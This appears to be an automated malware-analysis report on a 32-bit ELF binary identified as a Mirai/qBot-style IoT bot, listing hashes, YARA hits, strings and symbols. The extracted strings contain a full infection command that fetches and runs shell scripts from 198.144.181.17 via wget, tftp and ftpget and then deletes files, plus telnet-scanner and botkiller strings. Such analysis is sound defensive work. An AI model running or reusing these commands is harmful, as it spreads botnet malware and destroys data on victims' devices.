Report #1595 check_circle

Binary
ABI
ELFOSABI_SYSV
Size
77.74KB
Type
ET_EXEC
trid
50.1% ELF Executable and Linkable format
49.8% ELF Executable and Linkable format
type
ELF
Wordsize
32
Architecture
x86
Hashes
md5
86c2d20ff599ee66f4a24e1375ca682e
sha1
6f1029f96a0568dfd5d289dc4fec487d3cd59daf
crc32
0x83a94c0c
sha224
09daf03ae20d886652db2c819db1b72eeac1394712c88c33027b9ef5
sha256
4fe58c85b8bfb67d47e2d88d8618228bb14cb3d0643b9d320a08dc2ac58dc1ad
sha384
8b009bd0615d488bce6c4342f39fdac865fe0709b889eb94791ba9a235561ed4796d72445b33e9c93c078a5bafe62162
sha512
59aef36af109e4901aaa945b25425632228a05e04e6279c241e694722d43d3fe4174964b8b9a5df80e5c6417516c19fb43ef8ca968d3cbac447a94676e504624
ssdeep
1536:4bdmDZjQ0pFz93uIcKSHB1mx8Btmj7CTrqhruaJ7n0fJ0gQIy:4b6QsFz9XcKejmq2+TurHJ7n0B0gQIy
Community
Google
False cancel
HashLib
False cancel
YARA
Matches
maldoc_getEIP_method_1, domain, url, IP, contentis_base64, is__elf

Suspicious
True check_circle

Dwarf
List

Number
0
Files
Sys

Home

Proc
/proc/net/route
Password

Suspicious
True check_circle
Flags
Flags
0
Packer
List
None
Packed
False cancel
Network
IPs
198.144.181.17, cd /tmp; wget http://198.144.181.17/fyfa.sh; chmod 777 fyfa.sh; sh fyfa.sh; tftp 198.144.181.17 -c get tfyfa.sh; chmod 777 tfyfa.sh; sh tfyfa.sh; tftp -r tfyfa2.sh -g 198.144.181.17; chmod 777 tfyfa2.sh; sh tfyfa2.sh; ftpget -v -u anonymous -p anonymous -P 21 198.144.181.17 tfyfa1.sh tfyfa1.sh; sh tfyfa1.sh; rm -rf fyfa.sh tfyfa.sh tfyfa2.sh tfyfa1.sh; rm -rf *, cd /tmp ; wget http://198.144.181.17/fyfa.sh; chmod 777 fyfa.sh; sh fyfa.sh; tftp 198.144.181.17 -c get tfyfa.sh; chmod 777 tfyfa.sh; sh tfyfa.sh; tftp -r tfyfa2.sh -g 198.144.181.17; chmod 777 tfyfa2.sh; sh tfyfa2.sh; ftpget -v -u anonymous -p anonymous -P 21 198.144.181.17 tfyfa1.sh tfyfa1.sh; sh tfyfa1.sh; rm -rf Che -rf *
URLs
cd /tmp; wget http://198.144.181.17/fyfa.sh; chmod 777 fyfa.sh; sh fyfa.sh; tftp 198.144.181.17 -c get tfyfa.sh; chmod 777 tfyfa.sh; sh tfyfa.sh; tftp -r tfyfa2.sh -g 198.144.181.17; chmod 777 tfyfa2.sh; sh tfyfa2.sh; ftpget -v -u anonymous -p anonymous -P 21 198.144.181.17 tfyfa1.sh tfyfa1.sh; sh tfyfa1.sh; rm -rf fyfa.sh tfyfa.sh tfyfa2.sh tfyfa1.sh; rm -rf *, cd /tmp ; wget http://198.144.181.17/fyfa.sh; chmod 777 fyfa.sh; sh fyfa.sh; tftp 198.144.181.17 -c get tfyfa.sh; chmod 777 tfyfa.sh; sh tfyfa.sh; tftp -r tfyfa2.sh -g 198.144.181.17; chmod 777 tfyfa2.sh; sh tfyfa2.sh; ftpget -v -u anonymous -p anonymous -P 21 198.144.181.17 tfyfa1.sh tfyfa1.sh; sh tfyfa1.sh; rm -rf Che -rf *
Mails

Suspicious
True check_circle
Strings
List
cd /tmp; wget http://198.144.181.17/fyfa.sh; chmod 777 fyfa.sh; sh fyfa.sh; tftp 198.144.181.17 -c get tfyfa.sh; chmod 777 tfyfa.sh; sh tfyfa.sh; tftp -r tfyfa2.sh -g 198.144.181.17; chmod 777 tfyfa2.sh; sh tfyfa2.sh; ftpget -v -u anonymous -p anonymous -P 21 198.144.181.17 tfyfa1.sh tfyfa1.sh; sh tfyfa1.sh; rm -rf fyfa.sh tfyfa.sh tfyfa2.sh tfyfa1.sh; rm -rf *
cd /tmp ; wget http://198.144.181.17/fyfa.sh; chmod 777 fyfa.sh; sh fyfa.sh; tftp 198.144.181.17 -c get tfyfa.sh; chmod 777 tfyfa.sh; sh tfyfa.sh; tftp -r tfyfa2.sh -g 198.144.181.17; chmod 777 tfyfa2.sh; sh tfyfa2.sh; ftpget -v -u anonymous -p anonymous -P 21 198.144.181.17 tfyfa1.sh tfyfa1.sh; sh tfyfa1.sh; rm -rf Che -rf *
mirai.mips
/etc/config/resolv.conf
.got.plt
/etc/resolv.conf
mirai.mpsl
Network is down
Machine is not on the network
No route to host
Host is down
198.144.181.17
been_there_done_that.2832
kill -9 $(pidof %s);
been_there_done_that
_fwrite.c
open.c
write.c
contains_fail
Transport endpoint is not connected
No such process
Block device required
[0;%s -[BOTKILL] Searching device for qBot and mirai strings on > IP:%s
No such device or address
Remote address changed
Operation now in progress
Is a named type file
Connection reset by peer
pass
Too many open files
Link has been severed
No such device
Too many open files in system
Too many links
Object is remote
GET /fyfa HTTP/1.0
.lib section in a.out corrupted
Cannot send after transport endpoint shutdown
Range %d -> %d
Operation not permitted
8.8.8.8
dnslookup.c
Too many users
__GI_execl
GET /fyfa2 HTTP/1.0
__dns_lookup
__GI_fflush_unlocked
/etc/config/hosts
__open_nameservers
__nameserver
__socketcall
__GI_execve
__register_frame_info_bases
/etc/hosts
_Jv_RegisterClasses
__deregister_frame_info_bases
gethostbyname_r
gethostbyname.c
opennameservers.c
fflush_unlocked.c
read_etc_hosts_r.c
__socketcall.c
fflush_unlocked
socket.c
__nameservers
__read_etc_hosts_r
__get_hosts_byname_r
__open_etc_hosts
__GI_socket
[0;%s%s Connnected > IP:%s Type:%s
[0;%sLogin found > IP:%s User:%s Pass:%s
Software caused connection abort
Socket operation on non-socket
[0;%sStarting Mirai Telnet Scanner!
SShRO
inet_addr
currentServer
Identifier removed
Interrupted system call should be restarted
botkiller
Operation already in progress
Address family not supported by protocol
Too many references: cannot splice
makeIPPacket
usernames
nameserver
Machines
Transport endpoint is already connected
random_poly_info
random.c
random_r
Permission denied
QBOTKILL
srandom_r
__GI_random_r
cracknet
Too many levels of symbolic links
Can not access a needed shared library
fwrite_unlocked
Not a XENIX named type file

Symbols
List
libc/sysdeps/linux/i386/crti.S, crtstuff.c, __CTOR_LIST__, __DTOR_LIST__, __EH_FRAME_BEGIN__, __JCR_LIST__, completed.2429, p.2427, __do_global_dtors_aux, object.2482, frame_dummy, crtstuff.c, __CTOR_END__, __DTOR_END__, __FRAME_END__, __JCR_END__, __do_global_ctors_aux, initfini.c, libc/sysdeps/linux/i386/crtn.S, libc/sysdeps/linux/i386/crt1.S, newbot.c, c, Q, i.4305, printchar, prints, printi, print, ipState, gen, C.82.5107, C.219.5677, C.216.5660, fdopen_pids, libc/sysdeps/linux/i386/syscall.S, __syscall_fcntl.c, __syscall_fcntl64.c, _exit.c, access.c, chdir.c, close.c, fork.c, getpid.c, ioctl.c, kill.c, open.c, prctl.c, read.c, select.c, setsid.c, time.c, waitpid.c, write.c, toupper.c, __C_ctype_b.c, __C_ctype_toupper.c, __errno_location.c, sprintf.c, vsnprintf.c, _stdio.c, _stdio_streams, __stdio_mutex_initializer.3991, _fixed_buffers, _wcommit.c, _vfprintf_internal.c, _charpad, _fp_out_narrow, spec_base.4201, prefix.4202, _ppfs_init.c, _ppfs_prepargs.c, _ppfs_setargs.c, _ppfs_parsespec.c, _promoted_size, type_codes, type_sizes, spec_flags.4203, qual_chars.4208, spec_chars.4204, spec_ranges.4205, spec_or_mask.4206, spec_and_mask.4207, fputs_unlocked.c, fwrite_unlocked.c, memcpy.c, memset.c, strchr.c, strcpy.c, strlen.c, strnlen.c, strstr.c, __glibc_strerror_r.c, __xpg_strerror_r.c, unknown.1161, _string_syserrmsgs.c, bcopy.c, strcasestr.c, strtok.c, next_start.1109, isatty.c, tcgetattr.c, ntohl.c, inet_ntoa.c, buf.2658, inet_makeaddr.c, gethostbyname.c, buf.4993, h.4992, gethostbyname_r.c, connect.c, getsockname.c, getsockopt.c, recv.c, send.c, sendto.c, setsockopt.c, socket.c, signal.c, sigsetops.c, malloc.c, __malloc_largebin_index, free.c, __malloc_trim, abort.c, mylock, been_there_done_that, rand.c, random.c, mylock, unsafe_state, randtbl, random_r.c, random_poly_info, system.c, atol.c, strtol.c, _stdlib_strto_l.c, exit.c, execl.c, sysconf.c, __uClibc_main.c, __pthread_return_0, __pthread_return_void, __check_one_fd, been_there_done_that.2832, sigaction.c, __restore_rt, __restore, __syscall_error.c, libc/sysdeps/linux/i386/vfork.S, libc/sysdeps/linux/i386/mmap.S, __socketcall.c, __syscall_rt_sigaction.c, clock_getres.c, execve.c, getdtablesize.c, getegid.c, geteuid.c, getgid.c, getpagesize.c, getrlimit.c, getuid.c, munmap.c, sbrk.c, sigprocmask.c, wait4.c, __C_ctype_tolower.c, errno.c, __h_errno_location.c, wcrtomb.c, wcsrtombs.c, wcsnrtombs.c, _WRITE.c, _fwrite.c, _trans2w.c, _load_inttype.c, _store_inttype.c, _uintmaxtostr.c, _fpmaxtostr.c, fmt, exp10_table, memchr.c, memmove.c, strncpy.c, mempcpy.c, memrchr.c, strtok_r.c, strpbrk.c, inet_aton.c, dnslookup.c, mylock, static_ns, static_id, opennameservers.c, get_hosts_byname_r.c, raise.c, dl-support.c, brk.c, poll.c, fclose.c, fopen.c, fseeko.c, fseeko64.c, _adjust_pos.c, _fopen.c, _cs_funcs.c, fgets.c, fflush_unlocked.c, fgets_unlocked.c, strcmp.c, strncat.c, rawmemchr.c, strspn.c, strdup.c, ntop.c, inet_pton4, xdigits.3116, inet_ntop4, encodeh.c, decodeh.c, encodeq.c, lengthq.c, decodea.c, read_etc_hosts_r.c, llseek.c, tolower.c, fgetc_unlocked.c, strcasecmp.c, encoded.c, decoded.c, lengthd.c, _READ.c, _rfill.c, _trans2r.c, __fini_array_end, __fini_array_start, __init_array_end, __preinit_array_end, _GLOBAL_OFFSET_TABLE_, __init_array_start, __preinit_array_start, __read_etc_hosts_r, gtstate, __GI_execve, __libc_sigaction, strcpy, __GI_fcntl64, recvLine, __socketcall, __GI___ctype_b, __GI_memchr, __GI___glibc_strerror_r, waitpid, __open_nameservers, __GI_fopen, getrlimit, ioctl, _stdio_openlist_use_count, __GI_initstate_r, __GI_sigaction, strtok_r, __GI___C_ctype_toupper_data, __GI_time, getgid, sysconf, stdout, random, __GI_strdup, __GI_getpagesize, getdtablesize, __GI_h_errno, contains_fail, __length_question, __GI___ctype_toupper, __GI_strcasecmp, __GI_tolower, recv, connect, __encode_question, __GI___uClibc_fini, numpids, __encode_header, __GI_strncat, getRandomPublicIPB, __pthread_mutex_lock, __sigdelset, __GI_clock_getres, __uClibc_fini, memrchr, geteuid, inet_pton, __GI_vsnprintf, __GI_setsid, memmove, __bsd_signal, syscall, __GI_strpbrk, __stdio_trans2r_o, munmap, __GI_setsockopt, __libc_stack_end, __GI_fclose, __GI_wcsnrtombs, rangesB2, _uintmaxtostr, __libc_fcntl, atol, _h_errno, getc_unlocked, cfyfa, __ctype_b, __GI_random_r, usernames, sendUKNOWN, errno, getegid, read_until_response, __GI_sbrk, zprintf, __GI___uClibc_init, execve, getpagesize, getpid, __GI_lseek64, setstate_r, fgets, getHost, __libc_getpid, __xpg_strerror_r, fcntl64, prctl, memcpy, makeRandomStr, getRandomIP, __GI_fputs_unlocked, execl, __GI_fgets, colorCodes, creat, _stdio_openlist_dec_use, sclose, __libc_select, _ppfs_init, __GI___C_ctype_toupper, __GI_fgetc_unlocked, trim, __GI_fgets_unlocked, __pthread_mutex_init, tolower, getuid, system, __open_etc_hosts, malloc, isatty, __GI_atol, vsnprintf, __dns_lookup, __GI_read, __C_ctype_tolower, random_r, __dso_handle, x__exit, clock_getres, gethostbyname_r, reset_telstate, socket, select, _pthread_cleanup_pop_restore, __GI_wcrtomb, __GI___libc_fcntl, __GI_memset, __stdio_seek, mempcpy, __GI_strcoll, __GI_write, __ctype_toupper, __libc_read, _string_syserrmsgs, __GI_open, __GI_strchr, __searchdomain, __GI_tcgetattr, sstrlen, __environ, mmap, wcsnrtombs, scan, makeIPPacket, __GI_inet_ntoa, send, __fgetc_unlocked, abort, __GI_fcntl, __GI_wcsrtombs, __GI_fwrite_unlocked, __GI_getgid, srandom_r, _init, __GI_inet_ntoa_r, __GI_setstate_r, strtol, __libc_lseek64, strnlen, rawmemchr, __GI_mempcpy, intcon, __malloc_state, __GI___C_ctype_b_data, getBuilds, __sigaddset, __GI_send, h_errno, __pthread_mutex_unlock, wait4, __register_frame_info_bases, __GI_exit, __app_fini, csum, __exit_cleanup, __GI_execl, __GI_srandom_r, __GI___ctype_tolower, write, environ, __GI_close, __resolv_lock, kill, fputs_unlocked, __pthread_mutex_trylock, __GI_brk, __GI_strtok, _stdio_openlist, __GI_sigprocmask, inet_addr, ntohl, __GI_fseek, utils_inet_addr, ourIP, chdir, fseeko, _stdio_openlist_del_count, connectTimeout, __raise, setsockopt, bsd_signal, fseek, __GI_kill, __GI_strcmp, __GI_memmove, sendSTD, setstate, __decode_dotted, __stdio_READ, memchr, __GI_toupper, __pthread_initialize_minimal, __GI_recv, echoloader, __stdin, stdin, __GI_isatty, strcasestr, _start, __deregister_frame_info_bases, strstr, __GI_ioctl, init_rand, rand, signal, read, __decode_header, __GI___h_errno_location, __GI_memcpy, strcoll, wcsrtombs, _stdio_user_locking, mompleasepayfyfa, strncpy, strcasecmp, htonl, sendto, __C_ctype_toupper, __GI___C_ctype_b, __GI_gethostbyname_r, __GI_strncpy, __libc_send, __GI___xpg_strerror_r, currentServer, __GI___C_ctype_tolower, __GI_getrlimit, bcopy, __GI_strcpy, __GI_inet_ntop, strtok, __stdio_adjust_position, malloc_trim, __GI_poll, _vfprintf_internal, __GI_strcasestr, fork, __stdio_rfill, strncat, gotIP, sigaction, __GI_gethostbyname, _dl_phdr, __GI_getc_unlocked, __GI___libc_fcntl64, __uClibc_init, __GI_munmap, _store_inttype, __length_dotted, __getpagesize, __GI_random, __syscall_error, __uclibc_progname, __GI_getegid, __GI_wait4, __malloc_lock, __uClibc_main, sbrk, __rtld_fini, __GI_fork, strdup, __libc_close, __GI_getpid, inet_aton, _pthread_cleanup_push_defer, index, processCmd, __sigismember, fopen, __bss_start, __libc_open, getOurIP, memset, __GI_socket, main, __glibc_strerror_r, listFork, __GI___C_ctype_tolower_data, __stdio_fwrite, negotiate, srand, initstate, fclose, __syscall_rt_sigaction, ntohs, sendUDP, inet_ntoa, tcgetattr, __C_ctype_tolower_data, pfyfa, time, __libc_system, __GI_abort, poll, __get_hosts_byname_r, __stdio_init_mutex, rangesB1, __GI__exit, botkiller, strcmp, advances2, __nameserver, data_start, __GI_sysconf, infect, __h_errno_location, __C_ctype_b_data, __GI_inet_pton, gethostbyname, _stdio_fopen, advance_state, _fini, __GI_chdir, __vfork, __GI_mmap, contains_success, sprintf, fdgets, __get_pc_thunk_bx, strerror_r, __GI_select, __libc_waitpid, __GI_waitpid, _stdio_term, __decode_answer, __GI_signal, stderr, fails, vfork, __C_ctype_b, srandom, _ppfs_setargs, __GI_sendto, __libc_fork, __atexit_lock, scanPid, rand_cmwc, findARandomIP, advances, __libc_fcntl64, getsockopt, __GI_fseeko64, fflush_unlocked, __stdio_wcommit, contains_string, __GI___fgetc_unlocked, __nameservers, fwrite_unlocked, inet_ntoa_r, __pagesize, _stdio_openlist_add_lock, __GI_getdtablesize, access, _edata, __stdout, __GI_memrchr, __GI_fflush_unlocked, __GI_strstr, __searchdomains, _end, htons, _sigintr, _ppfs_prepargs, __GI_strspn, fgetc_unlocked, initstate_r, __GI_connect, __curbrk, __libc_poll, _dl_phnum, _fpmaxtostr, __errno_location, _stdlib_strto_l, __GI___libc_open, exit, __stdio_WRITE, _stdio_init, __GI_geteuid, inet_ntop, brk, __C_ctype_toupper_data, _dl_aux_init, _errno, atoi, successes, _stdio_openlist_del_lock, __GI_inet_aton, fgets_unlocked, _exit, szprintf, port, strspn, __libc_recv, __libc_creat, strlen, lseek64, open, toupper, __libc_write, __malloc_consolidate, _ppfs_parsespec, __GI_strtol, __GI_getuid, __GI_strtok_r, __GI_errno, __libc_sendto, __stdio_trans2w_o, __GI_vfork, strchr, __GI_rawmemchr, __GI_raise, __data_start, setsid, __GI_inet_addr, __encode_dotted, __GI_strnlen, _Jv_RegisterClasses, macAddress, __GI___errno_location, fcntl, read_with_timeout, __GI_atoi, fseeko64, __GI_sprintf, __ctype_tolower, wcrtomb, __GI_getsockname, close, __libc_connect, passwords, __GI_strlen, pids, strpbrk, _load_inttype, rangechoice, raise, free, sigprocmask, getsockname
Number
718
Reason
None
Suspicious
False cancel
Version
Version
EV_CURRENT
Foremost
Matches
None
Suspicious
False cancel
Sections
List
, .init, .text, .fini, .rodata, .eh_frame, .ctors, .dtors, .jcr, .got.plt, .data, .bss, .comment, .shstrtab, .symtab, .strtab
Number
16
Suspicious
False cancel
Segments
Number
3
Suspicious
False cancel
Compilers
List
GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2, GCC: (GNU) 4.1.2
Identified
157
Suspicious
True check_circle
Functions
List
, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , libc/sysdeps/linux/i386/crti.S, , crtstuff.c, , __CTOR_LIST__, , __DTOR_LIST__, , __EH_FRAME_BEGIN__, , __JCR_LIST__, , completed.2429, , p.2427, , __do_global_dtors_aux, , object.2482, , frame_dummy, , crtstuff.c, , __CTOR_END__, , __DTOR_END__, , __FRAME_END__, , __JCR_END__, , __do_global_ctors_aux, , initfini.c, , libc/sysdeps/linux/i386/crtn.S, , libc/sysdeps/linux/i386/crt1.S, , newbot.c, , c, , Q, , i.4305, , printchar, , prints, , printi, , print, , ipState, , gen, , C.82.5107, , C.219.5677, , C.216.5660, , fdopen_pids, , libc/sysdeps/linux/i386/syscall.S, , __syscall_fcntl.c, , __syscall_fcntl64.c, , _exit.c, , access.c, , chdir.c, , close.c, , fork.c, , getpid.c, , ioctl.c, , kill.c, , open.c, , prctl.c, , read.c, , select.c, , setsid.c, , time.c, , waitpid.c, , write.c, , toupper.c, , __C_ctype_b.c, , __C_ctype_toupper.c, , __errno_location.c, , sprintf.c, , vsnprintf.c, , _stdio.c, , _stdio_streams, , __stdio_mutex_initializer.3991, , _fixed_buffers, , _wcommit.c, , _vfprintf_internal.c, , _charpad, , _fp_out_narrow, , spec_base.4201, , prefix.4202, , _ppfs_init.c, , _ppfs_prepargs.c, , _ppfs_setargs.c, , _ppfs_parsespec.c, , _promoted_size, , type_codes, , type_sizes, , spec_flags.4203, , qual_chars.4208, , spec_chars.4204, , spec_ranges.4205, , spec_or_mask.4206, , spec_and_mask.4207, , fputs_unlocked.c, , fwrite_unlocked.c, , memcpy.c, , memset.c, , strchr.c, , strcpy.c, , strlen.c, , strnlen.c, , strstr.c, , __glibc_strerror_r.c, , __xpg_strerror_r.c, , unknown.1161, , _string_syserrmsgs.c, , bcopy.c, , strcasestr.c, , strtok.c, , next_start.1109, , isatty.c, , tcgetattr.c, , ntohl.c, , inet_ntoa.c, , buf.2658, , inet_makeaddr.c, , gethostbyname.c, , buf.4993, , h.4992, , gethostbyname_r.c, , connect.c, , getsockname.c, , getsockopt.c, , recv.c, , send.c, , sendto.c, , setsockopt.c, , socket.c, , signal.c, , sigsetops.c, , malloc.c, , __malloc_largebin_index, , free.c, , __malloc_trim, , abort.c, , mylock, , been_there_done_that, , rand.c, , random.c, , mylock, , unsafe_state, , randtbl, , random_r.c, , random_poly_info, , system.c, , atol.c, , strtol.c, , _stdlib_strto_l.c, , exit.c, , execl.c, , sysconf.c, , __uClibc_main.c, , __pthread_return_0, , __pthread_return_void, , __check_one_fd, , been_there_done_that.2832, , sigaction.c, , __restore_rt, , __restore, , __syscall_error.c, , libc/sysdeps/linux/i386/vfork.S, , libc/sysdeps/linux/i386/mmap.S, , __socketcall.c, , __syscall_rt_sigaction.c, , clock_getres.c, , execve.c, , getdtablesize.c, , getegid.c, , geteuid.c, , getgid.c, , getpagesize.c, , getrlimit.c, , getuid.c, , munmap.c, , sbrk.c, , sigprocmask.c, , wait4.c, , __C_ctype_tolower.c, , errno.c, , __h_errno_location.c, , wcrtomb.c, , wcsrtombs.c, , wcsnrtombs.c, , _WRITE.c, , _fwrite.c, , _trans2w.c, , _load_inttype.c, , _store_inttype.c, , _uintmaxtostr.c, , _fpmaxtostr.c, , fmt, , exp10_table, , memchr.c, , memmove.c, , strncpy.c, , mempcpy.c, , memrchr.c, , strtok_r.c, , strpbrk.c, , inet_aton.c, , dnslookup.c, , mylock, , static_ns, , static_id, , opennameservers.c, , get_hosts_byname_r.c, , raise.c, , dl-support.c, , brk.c, , poll.c, , fclose.c, , fopen.c, , fseeko.c, , fseeko64.c, , _adjust_pos.c, , _fopen.c, , _cs_funcs.c, , fgets.c, , fflush_unlocked.c, , fgets_unlocked.c, , strcmp.c, , strncat.c, , rawmemchr.c, , strspn.c, , strdup.c, , ntop.c, , inet_pton4, , xdigits.3116, , inet_ntop4, , encodeh.c, , decodeh.c, , encodeq.c, , lengthq.c, , decodea.c, , read_etc_hosts_r.c, , llseek.c, , tolower.c, , fgetc_unlocked.c, , strcasecmp.c, , encoded.c, , decoded.c, , lengthd.c, , _READ.c, , _rfill.c, , _trans2r.c, , __fini_array_end, , __fini_array_start, , __init_array_end, , __preinit_array_end, , _GLOBAL_OFFSET_TABLE_, , __init_array_start, , __preinit_array_start, , __read_etc_hosts_r, , gtstate, , __GI_execve, , __libc_sigaction, , strcpy, , __GI_fcntl64, , recvLine, , __socketcall, , __GI___ctype_b, , __GI_memchr, , __GI___glibc_strerror_r, , waitpid, , __open_nameservers, , __GI_fopen, , getrlimit, , ioctl, , _stdio_openlist_use_count, , __GI_initstate_r, , __GI_sigaction, , strtok_r, , __GI___C_ctype_toupper_data, , __GI_time, , getgid, , sysconf, , stdout, , random, , __GI_strdup, , __GI_getpagesize, , getdtablesize, , __GI_h_errno, , contains_fail, , __length_question, , __GI___ctype_toupper, , __GI_strcasecmp, , __GI_tolower, , recv, , connect, , __encode_question, , __GI___uClibc_fini, , numpids, , __encode_header, , __GI_strncat, , getRandomPublicIPB, , __pthread_mutex_lock, , __sigdelset, , __GI_clock_getres, , __uClibc_fini, , memrchr, , geteuid, , inet_pton, , __GI_vsnprintf, , __GI_setsid, , memmove, , __bsd_signal, , syscall, , __GI_strpbrk, , __stdio_trans2r_o, , munmap, , __GI_setsockopt, , __libc_stack_end, , __GI_fclose, , __GI_wcsnrtombs, , rangesB2, , _uintmaxtostr, , __libc_fcntl, , atol, , _h_errno, , getc_unlocked, , cfyfa, , __ctype_b, , __GI_random_r, , usernames, , sendUKNOWN, , errno, , getegid, , read_until_response, , __GI_sbrk, , zprintf, , __GI___uClibc_init, , execve, , getpagesize, , getpid, , __GI_lseek64, , setstate_r, , fgets, , getHost, , __libc_getpid, , __xpg_strerror_r, , fcntl64, , prctl, , memcpy, , makeRandomStr, , getRandomIP, , __GI_fputs_unlocked, , execl, , __GI_fgets, , colorCodes, , creat, , _stdio_openlist_dec_use, , sclose, , __libc_select, , _ppfs_init, , __GI___C_ctype_toupper, , __GI_fgetc_unlocked, , trim, , __GI_fgets_unlocked, , __pthread_mutex_init, , tolower, , getuid, , system, , __open_etc_hosts, , malloc, , isatty, , __GI_atol, , vsnprintf, , __dns_lookup, , __GI_read, , __C_ctype_tolower, , random_r, , __dso_handle, , x__exit, , clock_getres, , gethostbyname_r, , reset_telstate, , socket, , select, , _pthread_cleanup_pop_restore, , __GI_wcrtomb, , __GI___libc_fcntl, , __GI_memset, , __stdio_seek, , mempcpy, , __GI_strcoll, , __GI_write, , __ctype_toupper, , __libc_read, , _string_syserrmsgs, , __GI_open, , __GI_strchr, , __searchdomain, , __GI_tcgetattr, , sstrlen, , __environ, , mmap, , wcsnrtombs, , scan, , makeIPPacket, , __GI_inet_ntoa, , send, , __fgetc_unlocked, , abort, , __GI_fcntl, , __GI_wcsrtombs, , __GI_fwrite_unlocked, , __GI_getgid, , srandom_r, , _init, , __GI_inet_ntoa_r, , __GI_setstate_r, , strtol, , __libc_lseek64, , strnlen, , rawmemchr, , __GI_mempcpy, , intcon, , __malloc_state, , __GI___C_ctype_b_data, , getBuilds, , __sigaddset, , __GI_send, , h_errno, , __pthread_mutex_unlock, , wait4, , __register_frame_info_bases, , __GI_exit, , __app_fini, , csum, , __exit_cleanup, , __GI_execl, , __GI_srandom_r, , __GI___ctype_tolower, , write, , environ, , __GI_close, , __resolv_lock, , kill, , fputs_unlocked, , __pthread_mutex_trylock, , __GI_brk, , __GI_strtok, , _stdio_openlist, , __GI_sigprocmask, , inet_addr, , ntohl, , __GI_fseek, , utils_inet_addr, , ourIP, , chdir, , fseeko, , _stdio_openlist_del_count, , connectTimeout, , __raise, , setsockopt, , bsd_signal, , fseek, , __GI_kill, , __GI_strcmp, , __GI_memmove, , sendSTD, , setstate, , __decode_dotted, , __stdio_READ, , memchr, , __GI_toupper, , 